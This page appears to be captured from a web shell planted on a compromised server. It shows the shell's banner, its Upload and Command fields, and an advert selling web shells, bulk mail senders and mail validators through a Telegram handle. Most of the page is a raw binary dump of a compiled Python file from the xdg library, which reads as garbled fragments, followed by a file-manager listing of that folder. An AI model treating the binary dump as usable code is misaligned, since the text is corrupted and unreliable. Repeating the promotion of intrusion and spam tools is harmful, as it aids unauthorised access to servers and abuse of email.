__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

[email protected]: ~ $
�

�u�cH5���SrSSKrSSKrSSKrSSKrSSKJrJrJrJ	r	J
r
JrJr SSK
rSSKJr SSKrSr"SS5rg)z5
Base Class for DesktopEntry, IconTheme and IconData
�N)�ParsingError�DuplicateGroupError�NoGroupError�
NoKeyError�DuplicateKeyError�ValidationError�debug)�uc�J�URSS5 g![a gf=f)z>Return True if a string consists entirely of ASCII characters.�ascii�strictTF)�encode�UnicodeError)�ss �-/usr/lib/python3/dist-packages/xdg/IniFile.py�is_asciir
s*���	����(�#�������s��
"�"c���\rSrSrSrSrSrSrSrS!Sjr	Sr
S!SjrS"SjrS	r
S
rS!SjrS#SjrS
rSrS$SjrSrSrSrSrSrSrSrS%SjrS%SjrSrSrS&SjrSr Sr!S!Sjr"Sr#S r$g)'�IniFile��NFc�T�[5UlU(aURU5 gg�N)�dict�content�parse)�self�filenames  r�__init__�IniFile.__init__s���v�����J�J�x� ��c�B�[URUR5$r)�cmpr)r�others  r�__cmp__�IniFile.__cmp__#s���4�<�<����/�/r c��URn[RRU5(d[	SU5e[
R"USSSS9nU UH�nUR5nU(dMUSS:XaM'USS	:XaRURS	5RS
5n[(a!URU5(a[Xq5e0X7'M�URSS5up�UR5n[(a#UR!UW5(a[#X�U5eU	R5UWU'M� SSS5 XlSUlU(a(UHn
X�;dM
X�l O [	SUS-U5eURR/S05nUR/SUR/SS55Ulg![an[(aUeSnAgSnAff=f![a [	S
U-U5ef=f![$[&4a
 [	SU5ef=f!,(df   N�=f)zaParse an INI file.

headers -- list of headers the parser will try to select as a default header
�File not found�r�utf-8�replace)�encoding�errorsNr�#�[�]�=�zInvalid line: z#Parsing error on key, group missingFz[%s]-Header missingz
Desktop EntryzX-GNOME-Gettext-DomainzX-Ubuntu-Gettext-Domain)r�os�path�isfiler�io�open�IOErrorr	�strip�lstrip�rstrip�hasGroupr�split�
ValueError�hasKeyr�
IndexError�UnboundLocalErrorr�tainted�defaultGroup�get�gettext_domain)rr�headersr�fd�e�line�currentGroup�key�value�headers           rr�
IniFile.parse&s���,�,���w�w�~�~�h�'�'��/��:�:�		�����3���K�B�����z�z�|�����!�W��^���!�W��^�#'�;�;�s�#3�#:�#:�3�#?�L��u����|�!<�!<�1�,�I�I�02��-�N�%)�Z�Z��Q�%7�
���)�)�+�C�\� �5�T�[�[��l�%C�%C�"3�C�x�"P�P�9>����G�L�1�#�6�7��@!�
�����!���$�(.�%��"�
#�#8�7�1�:�#E�x�P�P�
�L�L���_�b�1���e�e�$<�
�E�E�+�T�2�4����k�	��u�����		��6&�N�*�+;�d�+B�H�M�M�N��'�(9�:�\�*�+P�RZ�[�[�\��;�R�sU�G�BH3�G6�1H3�AH�H3�
G3�
G.�.G3�6H�H3�H0�0H3�3
Ic�<�U(dURnX R;a�XRU;a�U(a}URX5nURS5(dUR(dURUUnO�[
R"URURUU5nOtURUUnOaU(d[(aMX R;a[X R5eXRU;a[XUR5eOSnUS:XaURW5n/n	OW/nUH�nUS:XaURU5nOrUS:Xa
[U5nO_US:Xa
[U5nOLUS	:Xa[ R""U5nO/US
:Xa)UR%S5up�[U
5[U54nUS:XaW	R'U5 M�Un	M� W	$![a SnN/f=f![a SnNAf=f)Nr/rT�boolean�integerr�numericg�regex�point�,)rBr�_IniFile__addLocale�endswithrD�gettext�dgettextr	rrr�getList�_IniFile__getBoolean�intr=�float�re�compiler<�append)rrJ�group�locale�type�listr
rK�values�result�x�ys            rrC�IniFile.getos�����%�%�E�
�\�\�!��|�|�E�/B�(B���&�&�s�2���<�<��$�$�D�,?�,?� �L�L��/��4�E�#�,�,�T�-@�-@�$�,�,�u�BU�VY�BZ�[�E����U�+�C�0��������,�&�u�m�m�<�<����U� 3�3�$�S����?�?�4����4�<��\�\�%�(�F��F��W�F��E��y� ��)�)�%�0����"����J�E���"� �!�%�L�E�����
�
�5�)������{�{�3�'����A���A�����t�|��
�
�e�$���-�0�
��%"���E���
"� ��E� �s$�.G:�H�:H	�H	�H�Hc�v�[R"SU5(a[R"SU5nOk[R"SU5(a[R"SU5nO7[R"SU5(a[R"SU5nOU/nUSS:XaUR5 U$)Nz	(?<!\\)\;z(?<!\\);z	(?<!\\)\|z(?<!\\),���r)r]�searchr<�pop)r�stringrcs   rrY�IniFile.getList�s���
�9�9�\�6�*�*��8�8�K��0�D�
�Y�Y�|�V�
,�
,��8�8�L�&�1�D�
�Y�Y�{�F�
+�
+��8�8�K��0�D��8�D���8�r�>��H�H�J��r c�P�US:XdUS:XdUS:XagUS:XdUS:XdUS:Xagg)	Nr1�true�TrueTr�false�FalseF�)rrOs  r�__getBoolean�IniFile.__getBoolean�s5���a�<�7�f�,��6�0A��
��\�W��/�7�g�3E��r c��U(dURn[RRH#nU<SU<S3nX@RU;dM!Us $ U$)z3add locale to key according the current lc_messagesr.r/)rB�xdg�Locale�langsr)rrJr`�lang�langkeys     r�__addLocale�IniFile.__addLocale�sK����%�%�E��J�J�$�$�D�"%�t�,�G��,�,�u�-�-���%�
�
r c��/Ul/Ul[RR	UR
5SUlUR5 URH�nURU5 URUH[nURX0RUUU5 URUUS:XdM=URRSU-5 M] M� SnUS:XdUS:XaURHnUSU--
nM
 US:XdUS:XaURHnUSU--
nM
 U(a[X@R
5eg)	z�Validate the contents, raising :class:`~xdg.Exceptions.ValidationError`
if there is anything amiss.

report can be 'All' / 'Warnings' / 'Errors'
r1rzValue of Key '%s' is empty�All�Warningsz
- �ErrorsN)
�warningsr,r2r3�splitextr�
fileExtension�checkExtrasr�
checkGroup�checkKeyr_r)r�reportr`rJ�msgrHs      r�validate�IniFile.validate�s1����
���� �W�W�-�-�d�m�m�<�Q�?���	
�����\�\�E��O�O�E�"��|�|�E�*���
�
�c�<�<��#6�s�#;�U�C��<�<��&�s�+�r�1��M�M�(�(�)E��)K�L�	+�"����U�?�f�
�2��
�
���v��}�$��&��U�?�f��0������v��}�$��$��!�#�}�}�5�5�r c��grrt�rr`s  rr��IniFile.checkGroup����r c��grrt)rrJrKr`s    rr��IniFile.checkKey�r�r c��US:XaURU5nOU/nUH�nUS:XaURU5nUS:XaM"US:XaURU5nO_US:XaURU5nOGUS:XaUR	U5nO/US:XaURU5nOUS:XaUR
U5nWS	:Xa%URRS
U<SU<35 M�US:XdM�URRS
U-5 M� g)NTrm�localestringrOrQrPrRrSr1�'z' is not a valid �zValue of key '%s' is deprecated)
rY�checkString�checkBoolean�checkNumber�checkInteger�
checkRegex�
checkPointr,r_r�)rrJrKrbrcrd�codes       r�
checkValue�IniFile.checkValue�s����4�<��\�\�%�(�F��W�F��E��x���'�'��.���~�%����"��(�(��/����"��'�'��.����"��(�(��/��������u�-��������u�-���q�y����"�"�u�d�#K�L�����
�
�$�$�%F��%L�M�%r c��grrt�rs rr��IniFile.checkExtrasr�r c�:�US:XdUS:XagUS:XdUS:Xdggg)N�1�0r�rprrr1rt�rrKs  rr��IniFile.checkBooleans*���S�L�E�S�L���6�/�U�g�%5��&6�/r c�*�[U5 g! g=f�Nr1)r\r�s  rr��IniFile.checkNumber"s��	��%�L��	�����c�*�[U5 g! g=fr�)r[r�s  rr��IniFile.checkInteger)s��	���J��	��r�c�>�[R"SU5(dgg)Nz^[0-9]+,[0-9]+$r1)r]�matchr�s  rr��IniFile.checkPoint0s���x�x�)�5�1�1��2r c�*�[U5(aS$S$)Nrr1)rr�s  rr��IniFile.checkString4s���U�O�O�q�*��*r c�@�[R"U5 g! g=fr�)r]r^r�s  rr��IniFile.checkRegex7s��	��J�J�u���	��s��c���U(dUR(d[SS5eU(aXlOURn[RR	U5(at[RR[RR	U55(d3[R"[RR	U55 [R"USSS9nU(aUR[S55 UR(a�UR[S5UR-5 URURR5H#upEUR[S5XE4-5 M% UR[S	55 URR5H�upgX`R:wdMUR[S5U-5 UR5H#upEUR[S5XE4-5 M% UR[S	55 M� SSS5 U(ak[R"U5RnU[R -[R"-[R$-n	[R&"X5 S
Ulg!,(df   N�=f)Nr'r�wr))r+z#!/usr/bin/env xdg-open
z[%s]
z%s=%s
�
F)rrr2r3�dirname�isdir�makedirsr5r6�writer
rBr�items�stat�st_mode�S_IXUSR�S_IXGRP�S_IXOTH�chmodrA)
rr�trusted�fprJrK�namer`�oldmode�modes
          rr��
IniFile.write>s�����
�
��/��4�4��$�M��}�}�H�
�7�7�?�?�8�$�$�R�W�W�]�]�2�7�7�?�?�8�;T�-U�-U��K�K�������1�2�
�W�W�X�s�W�
5�������6�7�8�� � �����8��t�'8�'8�8�9�$(�L�L��1B�1B�$C�$I�$I�$K�L�S��H�H�Q�y�\�S�L�8�9�%L�����4��!�!%���!3�!3�!5�
���,�,�,��H�H�Q�x�[�4�/�0�(-���
�������9����!<�=�)6��H�H�Q�t�W�%�"6�6�,��g�g�h�'�/�/�G��T�\�\�)�D�L�L�8�4�<�<�G�D��H�H�X�$����76�
5�s�-C.K�A2K�
K!c�j�U(dURnUS:XaM[[RR5S:�a&US-[RRS-S-nX R
UU'X RX5:HUl
g![a [X0R5ef=f)NTrr.r/)rB�lenrxryrzr�KeyErrorrrrCrA)rrJrKr`ras     r�set�IniFile.setgs�����%�%�E��T�>�c�#�*�*�"2�"2�3�a�7���)�c�j�j�.�.�q�1�1�C�7�C�	5�',�L�L����$����#�!5�5�����	5��u�m�m�4�4�	5�s�(B� B2c��URU5(a![(a[XR5eg0URU'SUlg�NT)r;r	rrrrAr�s  r�addGroup�IniFile.addGroupvsA���=�=�����u�)�%���?�?��#%�D�L�L����D�Lr c��XR;nU(aURU	SUlU$[(a[XR5eU$r�)rrAr	rr)rr`�existeds   r�removeGroup�IniFile.removeGroup~sF���<�<�'������U�#��D�L����u�"�5�-�-�8�8��r c��U(dURnU(au[URU5HYn[R"SU-[
RR-S-U5(dMBXA:wdMIURUU	M[ URURU5nSUl	U$![aEn[(a0Xb:Xa[X R5e[XUR5eSnAgSnAff=f)N�^�$Tr)rBrcrr]r�rxryrRrlrAr�r	rrr)rrJr`�localesr�rKrGs       r�	removeKey�IniFile.removeKey�s�����%�%�E�	�� ����e�!4�5�D��x�x��c�	�C�J�J�,<�,<� <�s� B�D�I�I�d�k� �L�L��/��5�6��L�L��'�+�+�C�0�E��D�L��L���	��u��:�&�u�m�m�<�<�$�S����?�?���	�s$�AB8�6B8�=:B8�8
D�;D�Dc�6�URR5$r)r�keysr�s r�groups�IniFile.groups�s���|�|� � �"�"r c��XR;$r)rr�s  rr;�IniFile.hasGroup�s�����$�$r c�J�U(dURnXRU;$r)rBr)rrJr`s   rr>�IniFile.hasKey�s"����%�%�E��l�l�5�)�)�)r c��UR$r)rr�s r�getFileName�IniFile.getFileName�s���}�}�r )rrBr,r�rrDrAr�r)NFrmFF)r�)rmF)NFr�)%�__name__�
__module__�__qualname__�__firstlineno__rBr�rrDrArr$rrCrYrZrUr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r;r>r��__static_attributes__rtr rrrs����L��M��H��N��G�!�
0�F4�R7�v���%6�P
�
�N�4
�����+��'�R
7� ���.#�%�*�r r)�__doc__r]r2r�r5�xdg.Exceptionsrrrrrrr	�
xdg.Localerx�xdg.utilr
rWrrrtr r�<module>r�s=�����#�#�#�����X�Xr 

Filemanager

Name Type Size Permission Actions
BaseDirectory.cpython-313.pyc File 8.89 KB 0644
Config.cpython-313.pyc File 1.42 KB 0644
DesktopEntry.cpython-313.pyc File 25.28 KB 0644
Exceptions.cpython-313.pyc File 4.62 KB 0644
IconTheme.cpython-313.pyc File 23.22 KB 0644
IniFile.cpython-313.pyc File 17.07 KB 0644
Locale.cpython-313.pyc File 2.32 KB 0644
Menu.cpython-313.pyc File 55.46 KB 0644
MenuEditor.cpython-313.pyc File 26.44 KB 0644
Mime.cpython-313.pyc File 35.72 KB 0644
RecentFiles.cpython-313.pyc File 9.58 KB 0644
__init__.cpython-313.pyc File 2.11 KB 0644
util.cpython-313.pyc File 3.25 KB 0644
Filemanager